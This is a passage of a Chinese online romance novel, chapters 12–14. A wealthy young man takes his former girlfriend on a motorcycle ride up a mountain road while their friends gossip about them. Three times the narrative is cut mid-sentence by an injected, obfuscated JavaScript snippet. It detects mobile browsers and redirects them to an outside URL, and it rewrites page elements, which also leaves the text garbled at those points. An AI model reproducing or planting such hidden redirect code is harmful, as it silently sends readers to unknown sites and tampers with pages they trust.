“是几位梓城来的少爷小姐,据说是来云山玩,顺道到我们酒店享用下午茶。”经理也认得其中几位,他正要说名字,恰好就看见大厅里有几个衣着光鲜的年轻人一边说笑一边朝着门口走来。 经理看了他们一眼,道:“就是那几位。” 许知嫣立刻循着他的目光看过去,这一瞧,果然发现不祥的预感应验了。 阙宛舒见她表情不对,也跟着回头看去,而在她扭头的那一刻,有个人已经来到近前,正巧从她和许知嫣中间穿了过去。 擦身而过的瞬间,阙宛舒一愣,她呆呆地看着那人,对方也正低着头看她,彼此的目光在近距离相撞。 两秒过后,那人收回视线,从她身旁走过,还状似不经意地撞了许知嫣一下。 许知嫣被他撞得脚步踉跄,若不是酒店经理及时扶住她,可能就这么跌倒在地了。 她气急败坏地看着已经下了阶梯的男人,大声怒骂道:“卫珣,你他爹的是不是有病!” 12. Chapter 12 对于身后传来的骂声,卫珣充耳不闻,他慢悠悠地走下阶梯,朝停放在酒店前庭的重型机车走去。 几个熟悉的脸孔也陆续从酒店里走出来,都是卫珣的狐朋狗友,比如上次在华境见过的曹英、侯熙鸣、连峰等,以及走在最后头的霍海承,除此之外还有几个对阙宛舒来说相对眼生的青年。 这些公子哥还各自带着风格各有不同的漂亮女孩,很显然今天是个带妹子兜风的局。 见了站在门口的阙宛舒和许知嫣,曹英立刻腆着脸凑过来,他面上摆出无害的笑脸,直冲着两人挥手:“嗨~嫣姐,阙同学,好巧呀,竟然在这里碰见你们。” “呵呵。”许知嫣皮笑肉不笑,瞧他这副讨好的表情,她总算知道罪魁祸首是谁了,等回头她就把这家伙也拉黑。 几个公子哥见曹英突然殷勤地跑过去和两个女孩子打招呼,也笑着凑了过来:“映雪,这两位美女是你朋友?” 曹英闻言立刻黑了脸,回头骂了声“滚”,大伙顿时笑得更欢。 曹英是家里最小的孩子,上头有三个哥哥,他妈妈在怀他时以为他是个女孩,因此为他取名为“曹映雪”,孰料生出来才发现是男孩,长辈们觉得“映雪”这名字对男孩来说太过秀气,便替他改名为曹英。 这件事在圈子里不是秘密,曹英本人也经常拿出来自我调侃,他的朋友们为了逗他都喜欢喊他“映雪”。 没等曹英介绍,几个人中有个年纪较小的青年认出了许知嫣,惊讶道:“知嫣姐,你怎么在这?” 许知嫣瞥了他一眼,发现说话的人是张陆扬的亲弟弟张平康,曾和她在家宴上有过一面之缘。 她没想到这未来的小叔子跟卫珣也是一伙的,忍不住阴阳怪气道:“这酒店是我家的,你说我为什么在这?” 张平康:“……” 总感觉被怼了是怎么回事? 这句话一出口,一众公子哥立刻明白了她就是许家的大小姐,不过见她凶巴巴的一副不好惹的模样,几个人于是转向看起来相对温婉和善的阙宛舒,问道:“那这位漂亮妹妹是?” 许知嫣白了他们一眼,没好气道:“谁是你妹妹。” 众公子哥:“……” 这许大小姐是不是刚吃了炸药啊! 许知嫣懒得搭理这些家伙,恰好此时泊车小哥也把她的车开过来了,她拉着阙宛舒下了阶梯,正想把她推上车,一道低沉的嗓音突然穿过微凉的空气,准确地到达每个人的耳里。 “——阙宛舒。” 众人循声望去,便见卫珣戴着头盔跨坐在摩托车上,头盔上的镜片掀起,只露出一双幽冷的眼睛。 他的目光正牢牢地锁定在许知嫣身旁的人身上,道:“过来。” 阙宛舒一愣,呆在原地没有动作,倒是许知嫣立刻就炸了,她瞪了卫珣一眼,正想无视他的话把阙宛舒塞进车里时,突然被人制止了动作。 循着握住她手腕的那只手看过去,她瞧见了一张最令她感到深恶痛绝的脸。 不同于许知嫣的张牙舞爪,霍海承笑嘻嘻的,看着她的目光就跟瞧见许久不见的老朋友一般热络:“怎么一看见我就翻白眼,我这张脸招你惹你了?” 许知嫣冷笑:“是啊,惹得我想吐。” 她试图挣开他的手,没挣开,于是愈发火大起来:“霍海承,你给我放开。” 霍海承没有动作,他看了阙宛舒一眼,突然笑了一声,道:“我劝你还是别插手了,说到底,这是他们两个人的事,与其他人都无关不是吗?可别到头来惹得自己里外不是人。” “你是以什么立场对我说这句话的?”听见他充满劝诫意味的话,许知嫣只觉得万分好笑,“先插手的人不是你吗?” 当初在华境不就是他把阙宛舒带到卫珣的生日宴上?怎么,只许他帮自己的兄弟,不许她维护自己的好姐妹? 哈,可真是双标。 “……” 面对她的嘲讽,霍海承没有立刻反驳,两人沉默地对视着,气氛很是古怪。 阙宛舒敏锐地察觉到他俩之间的不寻常,连忙说道:“霍海承,你放开她。” 霍海承闻言又看了她一眼,握着许知嫣手腕的那只手缓缓放开了。 阙宛舒接着转向好友,语带安抚地对她说:“知嫣,我过去看看就来,你别担心,卫珣他不敢对我怎么样的。” 许知嫣仍旧蹙着眉:“窈窈,你要去那家伙那边?” “嗯。”阙宛舒轻轻地应了一声,她了解卫珣的性格,也知道他之所以会出现在这里绝不是巧合。 这世界那么大,两个生活毫无交集的人要凭缘分和巧合相遇实在是太难了。 更何况,这世上本也没有那么多的巧合。 望着阙宛舒那双澄澈冷静的眼睛,许知嫣满腔的怒火逐渐平息下来,她抿了抿唇,终于妥协:“那好吧,反正这里是我的地盘,他要是敢对你怎么样我就摇人过来揍他。” 阙宛舒被她这句话逗笑,弯着眼睛应了一声:“好。” 许知嫣也笑了,抬手摸了摸她的脑袋。 阙宛舒转过身,先是深吸了一口气,这才朝着跨坐在摩托车上的卫珣走去。 她小心翼翼地来到他面前,问道:“你有什么事吗?” 卫珣没有回话,而是抬头看了霍海承一眼,后者心领神会,立刻将手里的头盔抛了过去。 接住头盔后,卫珣正想给阙宛舒戴上,但又突然想到了什么,他眉头一蹙,将霍海承的头盔挂在后照镜上,转而脱下了自己的。 “头发。”他看着她垂在脸颊两侧的长发说道,阙宛舒一愣,竟莫名领会到他的意思,抬手把头发拨到耳边。 紧接着卫珣便将自己的头盔戴在了她头上,还仔细地替她扣好扣子,这一举动简直惊呆了不远处的狐朋狗友们。 侯熙鸣瞪大眼睛,猛地拍了下手,对着身旁另一个穿着机车服的青年说:“我就说他今天怎么把他那辆拿铁攀爬从车库里遛出来骑了,还穿得像个巡航车主,原来是为了载妹子!!” 卫珣今天骑的摩托车不同于他平日里常骑的仿赛跑车,而是更为复古的越野车型,不仅座高较低且没有翘尾,后座椅垫也宽大许多。 他今天也没有穿机车服,而是穿了件深棕色的飞行员皮夹克,夹克底下是件米白色的针织衫和棕色系印花丝巾,下方则穿了条vintage水洗牛仔裤和黑色短靴。 卫家人大多相貌优越,卫珣更是个中翘楚,此刻他穿了这一身复古又雅痞的衣着跨坐在摩托车上,整个人帅得既夺目又招摇。 站在侯熙鸣身旁的机车男叫付元锡,家里是开银行的,他和卫珣是大学同学,也喜欢玩摩托,回国后经常和卫珣及侯熙鸣等人相约去骑车。 听见侯熙鸣的话后,付元锡眯了眯眼睛,跟着笑起来:“哎呀,这真是不鸣则已一鸣惊人啊。” 卫珣喜欢骑摩托车,但偶尔也会玩跑车,只是大伙们都知道,他的机车后座和跑车副驾是从来不带人的,向来走的是“头盔一戴/油门一踩,谁也不爱”的路线。 没想到今天竟然破例了。 不只是侯熙鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830215|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和付元锡,几位公子哥和他们的女伴们见状也很是惊讶。 和他们这些富家少爷一起玩的多是些小明星和女网红,她们或为名为利,或为权为色而来,或用青春与美貌换取向上爬的资源,或为图一时的纸醉金迷而流连在几位公子哥身边。 绝大多数的女孩子来来去去,但也有人在这圈子里待的时间久了,转头盯上了总是形单影只的卫家大少爷。 毕竟这位卫少爷长得帅还有钱,虽然听说他心里有个念念不忘的白月光,但这并不是个问题。 有什么能比征服一个心有所属的男人更令人感到刺激的呢? “拜金女”也有自己的圈子,几个塑料小姐妹曾私下打赌,看谁能第一个坐上卫珣的摩托车后座,可惜至今无人成功。 甚至还有个网红攻略卫珣不成,愤而造谣他根本不喜欢女人,分明就是个gay。 这段话不幸被卫珣知道了,不久后那位网红便彻底消失在这个圈子里,不仅如此,他甚至还改装了自己的每一台摩托车,彻底打消了这些女孩子蠢蠢欲动的攻略之心。 想坐卫珣的摩托车后座?哈哈,他的摩托车根本就没有后座好吧! 不过如今看来,卫珣的摩托车也并不是真的没有后座。 只不过是他不想带人的时候只骑没有后座的车罢了,要是哪一天出现了他想带的人,他不仅能立刻换台适合带人的车,甚至连护具都能替对方准备好。 卫珣替阙宛舒戴好头盔后,又扫了眼她的细胳膊细腿,接着竟突然下车从边包里拿出一套护具,一一替她穿上。 这下不只是他的朋友们,就连阙宛舒本人都惊呆了。 她呆呆地看着正弯着腰替她上护膝的卫珣,错愕道:“你……” 卫珣飞快地替她穿好护具,随后直起身子不冷不热地说了句:“我怕把你摔残了,我家卫谦就没有治疗师替他上课。” 阙宛舒:“……” 那她还得谢谢他了? 这时卫珣已经坐上摩托车,戴好了头盔,他发动车子,侧头看向还呆立在原地的阙宛舒,道:“上来。” 阙宛舒犹豫地盯着他的后座,迟迟没有动作,似乎是在思考要不要上车。 卫珣见状嗤笑一声,道:“怎么,怕我把你载去卖了?别想太多了,不过是有事想请阙老师帮个忙。” 他突然称呼她为阙老师,想来他指的“帮忙”是和卫谦有关。 阙宛舒没有细问,她仍旧盯着他的摩托车一动也不动,这下卫珣不耐烦了,再次开口:“阙老师,你是要一直站在这——” 话还没完,肩膀突然一沉,阙宛舒一手扶着他的肩膀,一脚踩着脚踏跨上了车。 放在他肩膀上的手不过三秒就放开了,但卫珣还是下意识屏住了呼吸。 跨上机车后座后,阙宛舒调整了个舒服的坐姿坐好,双手握住机车后扶手,道:“好了。” “……” 卫珣没有说话,他停顿几秒,忽然回头看了眼她的手的位置,又很快将头转回来,道:“不想掉下去的话,就抓紧。” 阙宛舒应了一声,她十指紧握,把扶手抓得更紧了。 卫珣:“……” 沉默片刻,他蓦地催动了下油门,摩托车便猛然往前窜了下,阙宛舒因为惯性整个人朝前扑去,撞在卫珣背上,原先握着后扶手的双手也转而抱住了他的腰。 “抓紧了。” 卫珣隐在头盔下的嘴角微微上扬,接着他缓缓催动油门,骑着摩托车离开了酒店,将一众目瞪口呆的兄弟全扔在原地。 13. Chapter 13 侯熙鸣简直不敢相信自己看到了什么。 他和卫珣一样骑车时从不带人,不过他不带人的理由纯粹是觉得骑车时后座背个人实在太累了,还会影响平衡和操作。 何况能让他显得帅的可不是后座载了什么人,而是取决于座下的摩托车和骑车的技术。 做为一群人中唯二从不带人的,他和卫珣自然也是山道战神中的战神,他俩哪次骑车不是比谁的速度更快,压弯的技术更好? 带人?带人只会影响哥们的帅气! 然而他的好哥们却在今天背叛了他。 不仅抛弃了平日里的战斗型跑车,换了辆除了帅只剩下帅的车,为了泡妹子,他甚至还使出了他们从前连瞧都懒得瞧一眼的耍帅花招,侯熙鸣简直没眼看。 虽然早知道白月光的威力巨大,但侯熙鸣还是第一次有这么深刻的体会,深刻到他都要怀疑人生了。 曹英见状凑过来拍了拍他的肩,安慰道:“想开点,毕竟人家在你还不会骑摩托车的时候就坐在珣哥的后座了。” 侯熙鸣:“……” 这确实是。 付元锡听了曹英的话,意味深长地笑了笑:“哦,所以刚才那个女人就是传说中的阿珣的白月光?” 曹英打了个响指:“That’sright。” 付元锡挑眉,他本来就是个乐子人,一想到卫珣方才那副和以往全然不同的模样,顿时觉得更乐了。 于是他戴上手套,一边朝自己的摩托车走去一边兴致勃勃地说:“别愣着了熙鸣,走,咱们瞧瞧去。” 见他一副迫不及待地要去围观人家谈恋爱、也不怕被卫珣打死的模样,侯熙鸣抽了抽嘴角,理智告诉他别作死跑去当电灯泡,但他的身体却很诚实地跟了上去。 既然珣哥忙着泡妹子,那么今天的山道第一战神宝座肯定就属于他了吧? 两人先后跨上摩托车,在引擎低沉的音浪声之中离开了酒店,追着卫珣去了。 而在卫珣载着阙宛舒离开不久后,许知嫣也终于反应了过来。 不是,好闺闺不是说她去去就来吗?怎么被卫珣那家伙给拐跑了! 她气急败坏,但又无可奈何,只得让泊车小哥先把她的车开回去,然后继续站在原地等张陆扬来。 他不是说自己快到了吗?怎么还没来? 许知嫣有些烦躁地翻看着和张陆扬的聊天窗,不经意抬起眼时,恰好和霍海承的目光撞了个正着。 这家伙怎么还不走? 她立刻黑了脸:“看什么看。” 霍海承无奈地笑笑,语气分外欠揍:“都秋天了你怎么火气还这么大?而且,你不看我怎么知道我在看你?” 许知嫣冷不防被噎了下,反应过来后更火大了。 她平常也算是个牙尖嘴利……不,伶牙俐嘴的人,偏偏一碰上霍海承就容易哑火,直到事后复盘时才捶胸顿足,气自己当时怎么不这样那样反击。 此刻也是,明明心里火大得不行,嘴上却一句话也说不出来,只能努力睁大眼睛恶狠狠地瞪着他,仿佛这样就能不落下风。 然而霍海承不痛不痒,还抬手弹了下她的额头:“别瞪了,小心眼睛掉出来。” 许知嫣:“……” 啊啊啊该死的狗贼!竟然敢碰她! 许知嫣正想骂人,一道声音却先她一步响起:“我草!” 她侧头一瞧,看见刚刚还混迹在几个公子哥里嘻嘻哈哈的张平康突然变了脸色,“咻”地窜到了在场身高最高的霍海承身后躲着,一副见到鬼的模样。 循着他的目光看去,一辆车牌号码为连号的迈巴赫正朝着这驶来,最后缓缓停在许知嫣的面前。 后座的车窗降下,一张眉目深邃的俊脸出现在众人的视线之中。 坐在车里的是个西装革履的青年,他很年轻,看起来不过三十岁出头的年纪,相貌英俊,气质优雅,但当他抬目轻飘飘地看过来时,莫名带给人一股强烈的压迫感。 张陆扬先是环顾车外的人一圈,最后目光定在离他最近的许知嫣身上,道:“怎么不在里面等?” “反正你说快到了。”许知嫣回应道,酒店经理上前替她拉开车门,随后她提起裙摆坐进了车里。 张陆扬侧头看她,视线缓慢地扫过她低垂的眉眼与拉平的嘴角,敏锐地注意到未婚妻此刻似乎心情不佳。 心里瞬间涌现无数猜测,但他的面上却不动声色,几秒后,他收回投注在她身上的目光,转而看向车窗外,道:“平康。” 被点到名的人瞬间浑身一个激灵,挣扎了一会才从霍海承身后探出脑袋:“……哥。” 张陆扬语气淡淡,辨不出喜怒:“你在这做什么?” “我和朋友来云山看风景。”张平康摆出讨好的笑脸,“没想到恰好遇见了知嫣姐。” 坐在车里的许知嫣闻言翻了个白眼,却没多说什么。 “是吗?”张陆扬深知弟弟是什么德性,他的目光逐一扫过弟弟的“朋友们”,而在他视线所过之处,每一个人都不自觉地绷紧了背脊,备感压力。 在场的几个公子哥都是年轻的富二代或富三代,虽然有不少人已经开始接触家族的事业,但因年轻且能力普通,上头又有长辈压着,因此在家族企业中大多不是身居要职。 而张陆扬不同,他虽然也是个富三代,如今不过三十二岁,但已位至云安集团副董事长,且由于他父亲张瑞铭董事长近年身体欠佳,集团内许多事务实际上都是交由张陆扬负责,属于是“太子监国”,许多人因而猜测他可能会在四十岁以前就登上云安集团董事长的位置。 富二代和富二代之间也是有壁垒的,如果说张平康和他的狐朋狗友们是“纨裤子弟”,那张陆扬无疑就是纨裤子弟最不敢招惹的“长辈眼中的家族希望”。 除了他以外,圈子里还有个卫瑾和许知森也是同等类型。 也许是因为久居高位,张陆扬身上自带一股迫人的气场,明明他对于几位公子哥来说应该是哥哥一般的年纪,却让他们感受到一股只有在面对自家父亲或老爷子时才有的巨大压力。 这种仿佛下一秒就要狠狠挨训的奇妙酸爽感…… 刚刚还凑在一起嘻嘻哈哈的年轻富少们纷纷收敛起笑脸,一个个都跟张平康似的夹紧尾巴不敢放肆,他们的女伴们见状也跟着噤声,小心翼翼地打量起张陆扬。 全场唯二没受到影响的只有霍海承和曹英。 曹英是家中幼子,上头有三个哥哥,深谙与兄长的相处之道,且他又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830216|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个自来熟的社交悍匪,不管见了谁都能凑上前和对方聊两句,即便是张陆扬也不例外。 他张口就是一句亲昵的“陆扬哥”,引得张陆扬的亲弟都见鬼似的看了他一眼。 至于霍海承── 他没有看张陆扬,而是越过那扇只降了一半的车窗看着坐在里侧的许知嫣。 从这个角度看过去,只能瞧见她半张侧脸,她此刻正低着头在手机上打字,表情时而纠结苦恼时而忿忿不平,霍海承用膝盖想也能猜到她多半是在向阙宛舒咒骂卫珣,顺带劝她务必得小心发疯的前男友。 想到这,霍海承唇角微扬,可下一秒,笑容蓦然凝滞在脸上。 坐在许知嫣身旁的张陆扬忽然身子微倾,牢牢地挡住了他投向许知嫣的目光,与此同时,张陆扬定定地看着他这个方向,那双平静冷淡的眼睛好似划过一丝戾气。 霍海承一顿,眉头微挑。 张陆扬似乎是在看他,又像是在看他身后的张平康,没等霍海承细究,便听他语气淡淡地说:“平康,早点回家,别又疯玩到半夜了。” 说完,他升起车窗,黑色迈巴赫在众人的注目下缓缓驶离。 张陆扬一离开,原先绷紧的气氛顿时轻松起来,曹英也松了口气,拍着胸脯凑到霍海承身边说:“许知嫣这未婚夫的气场可真可怕啊,不愧是大名鼎鼎的云安集团太子爷!” 虽然他们珣哥是个性子阴晴不定、仿佛看谁都不顺眼的纯恨战士,但基本上只要不碰触到他明确展示出来的底线和逆鳞就不会有事,他顶多自己发疯,不会无缘无故收拾别人。 然而张陆扬……他虽看起来冷静自持、温和宽容,但莫名给人一种浑身上下到处都是雷点的感觉,要是不小心踩到的话就死定了,而且死的人还不知道自己怎么会死。 这要是个地雷男,绝对是一款比珣哥还地雷的地雷男。 曹英家里的产业和娱乐圈挂勾,他也早已接手家中部分生意,混迹于娱乐圈这个复杂的大染缸中,自觉看人很准,绝不会错。 “也不知道许知嫣那个没什么心眼的姑娘怎么会跟这种家伙联姻,明明许家和张家的产业没有多少关联吧?”曹英叹息,心里不免对小伙伴生出一丝担忧,他看向霍海承:“你怎么看?” 霍海承垂着眼睛,想起张陆扬刚刚的眼神,他忽然突兀地笑了一声。 呵,联姻……? - 和霍海承想的一样,许知嫣的确正在劝好闺蜜要小心心怀不轨的前男友,顺带痛斥了一顿趁她不备把人从她这拐走的人贩子卫珣。 对着手机一顿猛烈输出后,她关掉屏幕,身体往后靠在椅背上,正准备闭上眼小憩,忽然听见身旁的人问:“刚刚站在平康身旁的那个人,是通洲集团二公子?” 许知嫣闻言一愣,几秒后才反应过来他指的人是霍海承,一提起那个家伙,她撇了撇嘴,眼神郁郁:“嗯,是他……你怎么突然问起他了?” 张陆扬没有错过她脸上的异样。 她实在是个很没有心眼的姑娘,毫无防备到他不过只是轻飘飘地问了一句,她就把所有答案全写在了脸上,展示在他面前。 沉默半晌,张陆扬眼皮微敛,轻轻地笑了一声。 “没什么,好奇而已。” 14. Chapter 14 阙宛舒正心惊胆战地坐在卫珣的机车后座,无暇查看许知嫣发来的消息。 越野机车平稳地行驶于山道上,山风猎猎,但脑袋被完好地包裹在全罩式头盔里的阙宛舒却没怎麽感受到狂风的侵袭,反倒是身体与他人亲密接触的感知被无限放大。 此刻她的上半身几乎整个贴在卫珣的背上,双臂也牢牢地环抱住他的腰,十指紧抓着他的夹克衣角,脑袋则靠在他的后肩上。 虽然这是乘坐摩托车后座时的正确坐姿之一,但略显亲密的姿势还是令阙宛舒感到一丝不自在。 在这个彼此身体贴合的动作下,她感觉全身上下的血液彷彿都汇聚到他们紧贴在一起的每一寸部位,明明还隔着层层衣服,但彼此的体温如同能穿透衣料般,熨烫在一起不断升温,直烧得阙宛舒浑身僵硬,呼吸也逐渐变得轻缓。 与之相反的是,原先平缓的心跳一点一点地急促起来,透过脉搏清晰地传到耳边,震耳欲聋,声声心跳彷彿也穿过了层层皮肉被卫珣明确地感知到。 阙宛舒有些无所适从。 她想放开紧抱在他腰间的手,改而抓住机车的后扶手,然而每当她想松手时,总能感觉到机车正在加速,于是她只能愈发用力地抱紧了他,不敢轻易放手。 虽然摩托车行驶得还算平稳,但过弯时为了应对离心力,整辆车身连带着坐在车上的人总会随之倾斜,有时候压得比较低,阙宛舒几乎要尖叫出声。 在摩托车上坐了五分钟以后,现在她确信卫珣是在报復她了。 卫珣还真没有。 此时摩托车的时速是50公里,对比他平时的速度,慢了不是一丁半点。 以至于在他们离开后一阵子才出发的付元锡和侯熙鸣很轻易地追了上来。 两人也没想到卫珣竟然骑得这麽慢,他们从外线切过来,一前一后和卫珣并行。 “珣哥,散步啊?”付元锡一手抓着油门,另一手松开握把,他将上半身转过来面对卫珣和阙宛舒,调笑道:“路边的小狗都跑得比你快。“ “滚。”卫珣笑骂一句,道:“安全驾驶懂不懂?” “现在知道安全驾驶了?”付元锡彷彿听见了什麽天大的笑话,不过见卫珣似乎真的一点加速的念头也没有,他不由将视线转移到坐在他后座的姑娘身上。 这姑娘全身上下都被头盔和护具完好地保护着,隔着挡风镜片,他看不清她的面容,方才在酒店门口时也没看清楚,不过有些人就是这样,你甚至不需要看清楚长相,她光凭身影和气质就足以让人印象深刻。 付元锡和卫珣是大学同学,在美国留学的那几年,他们几乎天天混在一块,但他从没见过卫珣身边出现过哪个女孩子。 卫珣是个神奇的人,哪怕是在牛人辈出的沃顿商学院,他也绝对是又卷又强悍的狠人一枚,家世、相貌、头脑,这些他都有,更不缺才华和努力,然而他也不是什麽正派凛然的严肃傢伙,喝酒、抽烟、跑趴,他样样来,还喜欢玩极限运动和飙车。 其实圈子里像他这样的人也有不少,但他神奇的地方在于,一个又帅又强又爱玩的有钱富二代,他的感情生活竟然干干净净……也不能说是干净了,他这根本就是没有好吧! 哪怕付元锡已自诩对谈恋爱这档事不热衷,但也曾谈过一、两个女朋友,而像卫珣这样直接在周身筑起高牆,拒绝任何人靠近,一副情根断绝、封心锁爱的苦行僧模样,付元锡多年来就只见过他这麽一个。 他也不是没有怀疑过卫珣的性向,不过经过多年观察,付元锡觉得这应该和性向无关,卫珣可能是单纯不喜欢人类。 没想到如今竟杀出来一个“白月光“。 早在听说卫珣不谈恋爱是因为对前女友念念不忘,且当初他们分手时,还是这个前女友单方面甩了他玩消失时,付元锡其实有些嗤之以鼻。 得不到的就是最好的。 所谓的情深与难以忘怀,不过是自己的执念在骚动罢了。 即便是此时此刻,付元锡仍然是同样的看法。 毕竟卫珣和他前女友分开可不是一年两年,而是整整八年,别说是七八年了,仅仅是三五年的时间就足以让一个人面目全非,更何谈八年之久。 人们总会对记忆进行删减和美化,随着岁月流逝,不好的全都忘却,留在脑中的只剩下那些想要记得的美好,再用怀念与感性为这些记忆添一层滤镜,自此,那个人便在心中成神。 然而,当与“神”重逢以后,当一切回归现实,当你发现如今的那人已和记忆中的模样有所出入,你还会对她怀抱着同样深刻且眷恋的感情吗? 在褪去了记忆的美化滤镜以后,此刻站在你面前的人,和你隔着整整八年的时间鸿沟,更不用说,你们之间还有着一道抛弃与被抛弃的巨大隔阂。 如果这样还能坚定地选择彼此,那可真是了不起。 但卫珣和他前女友是这样的人吗? 付元锡不知道。 正因为不知道,且很想知道,所以他对此事兴致勃勃,毕竟他也说了,他是个乐子人嘛。 付元锡饶有兴致地打量着阙宛舒,后者也正隔着挡风镜片看着他,还疑惑地歪了歪头。 付元锡见状一笑,抬手朝她挥了挥:“嗨~白月光。” 阙宛舒:“?” 卫珣黑了脸:“快滚。” “打个招呼都不行啊,真小气。”付元锡仍然是一副嘻嘻哈哈的模样,他催了催油门,引擎发出“腾腾”的低沉音浪,“不陪你们慢慢散步了,先走一步。” 说完,他盖起挡风镜片,俯下身,座下的摩托车便如离弦的箭般冲了出去,在他后头的侯熙鸣也很快跟上,只扔下一句:“阙同学,下次见。” 他和曹英从以前就喜欢喊阙宛舒为“阙同学”,照曹英的话来说,喊全名太不礼貌,喊“宛舒”会被卫珣揍,喊“窈窈”会被卫珣揍个半死,喊“嫂子”又太不尊重女孩子,最后索性折中喊她“阙同学”。 虽然很多年没见了,但他们还是这麽喊,让阙宛舒感到几分亲切。 但她很快就笑不出来了。 前方就是大名鼎鼎的“云山三十六弯”,第一个弯道就是个近一百八十度的急转弯,阙宛舒清楚地看见付元锡在入弯时身体倾斜侧挂,右脚膝盖接触地面,直擦出一道火星,紧随其后的侯熙鸣操作更骚,压弯时半边身体几乎快贴到地面去了。 阙宛舒:“……” 她现在要求下车来不来得及? 察觉到卫珣正在加速,一副跃跃欲试的模样,阙宛舒紧张得恨不能跳车,但她不敢,只能愈发用力地抱紧他的腰。 她从他肩后探出头来,掀起镜片,弱声警告:“……你想都不要想。” 眼见从刚刚就安静如鸡的人忽然开口,卫珣不由挑了下眉,明知故问:“想什麽?我就想。” 阙宛舒:“……我要下车。” 卫珣哼笑:“你想都不要想。” 阙宛舒:“……” 弯道愈来愈近,摩托车的速度却丝毫没有减慢,阙宛舒只好把镜片盖上,闭上眼睛,抱紧卫珣,等着身体倾斜的那刻就要让自己的尖叫声充斥整座山谷。 然而,可怕的压弯并没有如期到来。 卫珣在入弯前压下刹车减速,以一个缓慢的速度平顺地过了弯,直到出弯才又加速,以此反复不断,一连就过了十多个弯道。 感觉到身体的倾斜角度并没有想像中可怕,阙宛舒这才缓缓睁开眼睛。 此时他们刚好行经一处视野开阔的山道,右侧是山壁,左侧则是护栏,而在护栏以外就是一片陡峭的山崖,远处群山连绵,在阳光下像被镀上一层薄金,浓翠间又点缀着几抹枫红,为这壮阔秀丽的山景更添几分可爱。 阙宛舒看着眼前的山光水色,一时有些出神,直到听见卫珣的声音响起:“手松开点,我要被你勒死了。” 她一愣,反应过来后猛地放开了双手,下一秒又被卫珣抓住一边手腕拉了回去,他将她的手扣在自己腰间,沉声道:“我是叫你松开点,不是让你整个放开,你是真的想掉下去吗?” 阙宛舒呐呐地道:“我以为……” 后头的话没有说完,她再度环上卫珣的腰,没有再开口。 卫珣低头瞧了眼她的手,只见她环在他腰间的手臂力道不重,可抓住他夹克衣角的手指却用力得指关节微微泛白,他忍不住道:“有这麽可怕吗?我的技术明明不错吧。” 他骑车的技术是不错,但她之所以害怕的原因与这无关。 “因为我有心理阴影。”阙宛舒闷声解释,又很快想起造成她的心理阴影的就是眼前这个傢伙,于是道:“……都是谁害的呀。” 卫珣一顿,也意识到罪魁祸首是谁了。 在他十八岁生日时,他姐姐送了他一辆杜卡迪彷赛跑车,为此他花了一个月的时间学车和考照,而拿到驾照后做的第一件事,就是到阙宛舒家接她去兜风。 忘了当时他们去的哪座山了,反正也是个弯道多但坡度不陡的山道,卫珣学什麽东西都很快,对自己也很有自信,虽然他才刚拿到重型机车的驾照不久,但跑山道、压弯等等的都不在话下,他觉得自己要是再强一点,都能去参加摩托车竞赛了。 但阙宛舒差点被他吓死在山路上。 卫珣当时骑的车和今天的不同,是一档能飙到一百公里以上的彷赛跑车,为了减少风阻,车型设计极具流线型,方便骑手採取趴卧姿势,且尾部上翘,坐在后座的阙宛舒为安全起见,不得不跟着伏低身体,一手抱着卫珣,一手撑着油箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833488|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 十八岁的卫珣可没有现在那麽有分寸,阙宛舒无法确切形容那次的经历到底有多恐怖,反正最后她被吓哭了,到了要下山时,她说什麽也不愿再坐机车。 “我要叫司机来接我。” 当时她双目通红,泪眼汪汪,拿出手机就要给家里的司机打电话,结果电话还没拨出去,手机就被卫珣抢了。 她气得半死,想抢回手机又挣不过他,气急败坏之下转身就走,宁愿走路下山也不愿再坐他的车。 阙宛舒沿着山壁边缘走,踩在地上的每一步都用力得像是恨不得把路面踩爆。 而卫珣则跨坐在机车上,他双脚着地,就这麽用长腿蹬着地面将机车往前遛,小心翼翼地跟在她身旁。 见她似乎真的生气了,卫珣不敢再皮,放软了声音讨饶:“窈窈,别生气啦。” “……” 阙宛舒别开脸,双颊微微鼓起,像隻气呼呼的河豚,她看也不看他一眼,对他的声音充耳不闻。 卫珣继续骚扰:“窈窈……理理我,窈窈?大小姐?公主殿下?女王大人?女神?小仙女?” “……” 眼见他嘴里喊的称呼愈来愈肉麻,阙宛舒其实有点想笑,但还是极力忍住。 最后她乾脆抬手捂住耳朵,试图物理阻隔他的骚扰,并扭头瞪了他一眼,道:“你不许说话了,我要暂时跟你绝交。” 面对她的绝交警告,卫珣一点也不怕,还觉得有点可爱。 他从善如流地问:“哦,要绝交多久啊?” 阙宛舒本来想说今天都不想理你,但总觉得一说完就会立刻遭到这人的激烈反对,索性意思意思一下,道:“十分钟。” 